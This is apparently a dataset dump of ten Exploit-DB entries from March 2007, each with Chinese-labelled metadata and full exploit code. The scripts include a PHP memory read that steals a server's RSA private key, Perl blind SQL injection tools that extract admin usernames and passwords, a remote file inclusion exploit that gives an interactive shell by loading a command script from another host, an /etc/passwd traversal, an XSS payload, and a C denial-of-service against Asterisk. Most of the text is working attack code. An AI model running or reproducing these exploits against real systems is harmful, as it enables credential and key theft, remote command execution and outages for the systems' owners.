QLWD/code_shield huggingface dataset:
标题: PHP < 4.4.5/5.2.1 - 'shmop' SSL RSA Private-Key Disclosure EDB-ID: 3427 CVE: 2007-1376 类型: LOCAL 平台: LINUX 发布日期: 2007-03-07 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP ext/shmop SSL RSA Private-Key Disclosure Exploit        //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  if (!extension_loaded("gd") || !extension_loaded("shmop")) {
    die("This demonstration exploit only works with ext/gd and ext/shmop loaded.");
  }

  function init()
  {
    global $rid;
    
    $rid = imagecreate(10,10);
    imagecolorallocate($rid, 0, 0, 0);
    imagecolorallocate($rid, 0, 0, 0);
  }
  
  function peek($addr, $size)
  {
    global $rid;
    imagecolordeallocate($rid, 0);
    imagecolordeallocate($rid, 1);
    imagecolorallocate($rid, $addr, 0, 0);
    imagecolorallocate($rid, $size, 0, 0);
    return shmop_read((int)$rid, 0, $size);
  }

  init();
  
  $offset = 0x08048000 + 1024 * 64;
  
  while (1) {
  
    $data = peek($offset, 1024 + 16);
    
    $position = strpos($data, "\x30\x82");
    if ($position !== false && $position < 1024) {
      // Potential Key
      if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") {
        $length = ord($data[$position+2])*256+ord($data[$position+3])+4;
        $keydata = peek($offset + $position, $length);
        // Assume an exponent of 0x10001 to really find a RSA key and not a DSA one
        if (strpos($keydata, "\x01\x00\x01") > 0)
            break;
      }
    }
    $offset += 1024;
  }

  header("Content-type: application/octet-stream");
  header("Content-Disposition: attachment; filename=\"server.der\"");  
  echo $keydata;
?>

# milw0rm.com [2007-03-07] URL: https://www.exploit-db.com/exploits/3427
标题: PHP-Nuke Module PostGuestbook 0.6.1 - 'tpl_pgb_moddir' Remote File Inclusion EDB-ID: 3423 CVE: 2007-1372 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-07 漏洞利用脚本: # PostGuestbook 0.6.1(tpl_pgb_moddir)Remote File Include Expliot
# D.Script: http://sourceforge.net/projects/postguestbook/
# Dork: "Powered by: PostGuestbook 0.6.1"
# Discovered by GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code
# include "$tpl_pgb_moddir/styles/$tpl_style/error.php";
# Exploit:
# [VicTim]/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir=Shell.php?

# milw0rm.com [2007-03-07] URL: https://www.exploit-db.com/exploits/3423
标题: PHP 5.2.1 - 'substr_compare()' Information Leak EDB-ID: 3424 CVE: 2007-1375 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-03-07 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP 5 - substr_compare Information Leak Vulnerability       //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  $sizeofHashtable = 39;
  $maxlong = 0x7fffffff;
  if (is_int($maxlong+1)) {
    $sizeofHashtable = 67;
    $maxlong = 0x7fffffffffffffff;
  }

  $memdump = str_repeat("A", 4096);
  for ($i=0; $i<40; $i++) $d[] = array();
  unset($d[20]);
  $x = str_repeat("A", $sizeofHashtable);
  
  // If the libc memcmp leaks the information use it
  // otherwise we only get a case insensitive memdump
  $b = substr_compare(chr(65),chr(0),0,1,false) != 65;

  for ($i=0; $i<4096; $i++) {
    $y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
    $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
    if ($y-$Y == 1 || $Y-$y==1){
      $y = chr($y);
      if ($b && strtoupper($y)!=$y) {
        if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
          $y = strtoupper($y);
        }
      }
      $memdump[$i] = $y;
    } else {
      $memdump[$i] = chr(0);
    }
  }
  
  echo "memdump\n---------\n\n";
  
  for ($b=0; $b<strlen($memdump); $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      printf ("%02x ", ord($memdump[$b+$i]));
    }
    for ($i=0; $i<16; $i++) {
      $c = ord($memdump[$b+$i]);
      if ($c >= 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }

?>

# milw0rm.com [2007-03-07] URL: https://www.exploit-db.com/exploits/3424
标题: PHP 5 - 'wddx_deserialize()' String Append Crash EDB-ID: 3404 CVE: 2007-1381 类型: DOS 平台: MULTIPLE 发布日期: 2007-03-04 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                PHP - wddx_deserialize() Crash Exploit              //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // The following testcode will overflow the buffer with lots of C

  wddx_deserialize(
    "<wddxPacket version='1.0'><header/>
        <data>
            <array length='1'>
                <string>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<X />CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC</string>
                <string></string>
            </array>
        </data>
    </wddxPacket>");
?>

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3404
标题: AJ Forum 1.0 - 'topic_title.php' SQL Injection EDB-ID: 3411 CVE: 2007-1295 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-04 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: AJ Forum 1.0 (topic_title.php) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.ajsquare.com
#[Dork       : "/subcat.php?cate_id="
#[$$         : 250.00 USD
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//    AJ Forum 1.0 (topic_title.php) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/topic_title.php?&head_id=1&td_id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,1,2,3,4,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),6,7,8,9,1,1,2,2,2%20from%20members/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?) password/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)        <\/a>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3411
标题: AJ Auction Pro - 'subcat.php' SQL Injection EDB-ID: 3408 CVE: 2007-1298 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-04 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: AJ Auction All Version (subcat.php) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.ajsquare.com
#[Dork       : "/subcat.php?cate_id="
#[$$         : 250.00 USD
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//    AJ Auction All Version (subcat.php) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/subcat.php?cate_id=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,117,114,107,101,121,112,97,115,115,58),password),2%20from%20admin/*&view=list";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /Categories Within turkey:(.*?)turkeypass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /turkeypass:(.*?)<\/b><\/font> <\/td><\/tr>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3408
标题: RRDBrowse 1.6 - Arbitrary File Disclosure EDB-ID: 3412 CVE: 2007-1303 类型: WEBAPPS 平台: CGI 发布日期: 2007-03-04 漏洞利用脚本: I - TITLE

Security advisory: Arbitrary file disclosure vulnerability in
rrdbrowse

II - SUMMARY

Description: Arbitrary file disclosure vulnerability in
rrdbrowse <= 1.6

Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com),
http://www.devtarget.org

Date: March 4th, 2007

Severity: Medium

References: http://www.devtarget.org/rrdbrowse-advisory-03-2007.txt

III - OVERVIEW

Quote from rrdbrowse.org: "RRDBrowse is a poller daemon, templater and
webinterface for RRDTool. It has a threaded daemon which periodically
runs from cron. It works with small .nfo files which hold router
information and optionally connection details, colors, min max,
bandwidth settings, etc, etc. RRDBrowse uses a small caching mechanism
to store interface names. It's much MRTG like in it's current state".
More information about the product can be found online at
http://www.rrdbrowse.org.

IV - DETAILS

Due to inproper input validation, the CGI application "rrdbrowse"
(versions <=1.6) is vulnerable to an arbitrary file disclosure
vulnerability. It allows an unauthenticated remote attacker to read any
file on the remote system if the user the webserver is running as has
permissions to do so. Thus an attacker is able to gain access
potentially sensitive information.

V - EXPLOIT CODE

The vulnerability is trivial to exploit and only requires specifying an
URL with a relative file path on the remote system such as

http://$target/cgi-bin/rb.cgi?mode=page&file=../../../../../../../../etc/passwd

As the input to the "file" parameter is not validated in any way
accessing this URL will expose the contents of /etc/passwd to a remote
attacker (interestingly except the first line).

VI - WORKAROUND/FIX

To address this problem, the author of rrdbrowse (Tommy van Leeuwen) has
released an updated CVS version (1.7) of the software which is available
at http://www.rrdbrowse.org. Hence all users of rrdbrowse are asked to
test and install this version as soon as possible.

VII - DISCLOSURE TIMELINE

06. February 2007 - Notified vendor
14. Feburary 2007 - Patch/new version released
04. March 2007 - Public disclosure

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3412
标题: News-Letterman 1.1 - 'eintrag.php?sqllog' Remote File Inclusion EDB-ID: 3406 CVE: 2007-1340 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-04 漏洞利用脚本: #!/usr/bin/perl
#
#News-Letterman 1.1 (eintrag.php) Remote File Include Exploit
#
#Download: http://www.weltennetz.de/download/letterman1.1.zip
#
#Vulnerable Code: include ($sqllog);
#
#Coded by bd0rk || SOH-Crew
#
#Usage: exploit.pl [target] [cmd shell] [shell variable]
#
#Greetings: str0ke, TheJT, seduce, Perle, CodeR
#
#

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
       print "[shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'eintrag.php?sqllog='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)


{
       $finreturn = $1;
       $finreturn=~ tr/[....]/[\n]/;
       print "\r\n$finreturn\n\r";
       last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *News-Letterman 1.1 (eintrag.php) Remote File Include Exploit*\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n";
 print " <Site> - Full path to News-Letterman ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                           Bug Found by bd0rk \r\n";
 print "                           www.soh-crew.it.tt \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3406
标题: PHP 4.4.3 < 4.4.6 - 'PHPinfo()' Cross-Site Scripting EDB-ID: 3405 CVE: 2007-1287 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-03-04 漏洞利用脚本: ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //                    PHP 4 - phpinfo() XSS Testcase                  //
  ////////////////////////////////////////////////////////////////////////

To manually test for this vulnerability just call the phpinfo() page with a parameter like this.

http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3405
标题: PHP < 4.4.5/5.2.1 - PHP_binary Session Deserialization Information Leak EDB-ID: 3413 CVE: 2007-1380 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-03-04 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP php_binary Session Deserialization Information Leak      //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  ini_set("session.serialize_handler", "php_binary");
  
  session_start();
  $x = chr(36).str_repeat("A", 36)."N;".chr(127);
  $data = $x;
  
  session_decode($data);    

  $keys = array_keys($_SESSION);
  $heapdump = $keys[1];
  
  echo "Heapdump\n---------\n\n";
  
  $len = strlen($heapdump);
  for ($b=0; $b<$len; $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          printf ("%02x ", ord($heapdump[$b+$i]));
      } else {
          printf (".. ");
      }
    }
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          $c = ord($heapdump[$b+$i]);
      } else {
          $c = 0;
      }
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3413
标题: Asterisk 1.2.15/1.4.0 - Remote Denial of Service EDB-ID: 3407 CVE: 2007-1306 类型: DOS 平台: MULTIPLE 发布日期: 2007-03-04 漏洞利用脚本: /*
this will cause asterisk to segfault,
the bug that this exploits has been patched in release 1.2.16  & 1.4.1

CLI>

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1082719152 (LWP 2510)]
register_verify (p=0x81cf600, sin=0x4088e750, req=0x4088e760, uri=0x0)
    at chan_sip.c:8257
8257            while (*t && *t > ' ' && *t != ';')
(gdb) 


build:
gcc -o asterisk-sip-killer asterisk-sip-killer.c

run:
./asterisk-sip-killer -h <targethost>

*/
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/tcp.h>

#define SIP_UDP_PORT 5060

struct udp_session { 
 int sd;
 struct sockaddr_in saddr;
};

int make_udp(struct udp_session *p, char *remotehost, int port)
{
 int sd;
 int ret;
 struct sockaddr_in saddr;
 struct hostent *he;

 sd = socket(AF_INET,SOCK_DGRAM,0);

 if (sd == -1) {
  printf("error making socket\n");
  return -1;
 }

 he = gethostbyname(remotehost);
 
 saddr.sin_family = AF_INET;
 saddr.sin_port = htons(port);
 saddr.sin_addr.s_addr = inet_addr(remotehost);
 memset(&(saddr.sin_zero), '\0', 8);
 p->sd = sd;
 memcpy(&p->saddr,&saddr,sizeof(struct sockaddr_in));

 printf("udp socket ready\n");
 
 return 0;
}

void kill_asterisk(struct udp_session *sess)
{
 int ret;
 char *p =
  "REGISTER              \r\n"
  "Via: SIP/2.0/UDP 192.168.204.130:5060;branch=z9hG4bK1d97e14f\r\n"
  "Max-Forwards: 70\r\n"
  "From: <sip:666@192.168.204.130>;tag=as253946cf\r\n"
  "To: <sip:100@192.168.204.130>\r\n"
  "Call-ID: 7e64a49e5cf018231228938050e43d3b@127.0.0.1\r\n"
  "CSeq: 104 REGISTER\r\n"
  "User-Agent: Asterisk PBX\r\n"
  "Expires: 120\r\n"
  "Contact: <sip:666@192.168.204.130>\r\n"
  "Event: registration\r\n"
  "Content-Length: 0\r\n";

 ret = sendto(sess->sd, p, strlen(p), 0,
        (struct sockaddr *)&sess->saddr,
        sizeof(struct sockaddr));

 if (ret) { 
  printf("You may have well shutdown a asterisk server\n");
 } else {
  printf("there was a issue sending the request\n");
  return;
 }
 return;
}
int main(int argc, char **argv)
{
 int i = 0;
 char *r_host = NULL;
 struct udp_session *connection_out;
 

 for (i=0;i<argc;i++) {
  if (!(strcmp(argv[i],"-h"))) {
                        printf("it looks like you want a host entry\n");
                        r_host = argv[i+1];
                        printf("r_host: %s\n", r_host);
                }
        }

 if (!r_host) {
  printf("umm you forgot the -h <host> option!\n");
  return 0;
 }

 if (!(connection_out = (struct udp_session *)malloc(sizeof(struct udp_session)))) {
  printf("malloc failed your computer sucks\n");
  return 0;
 }
 make_udp(connection_out, r_host, SIP_UDP_PORT);
 kill_asterisk(connection_out); 
 free(connection_out);
 return 0;
}

// milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3407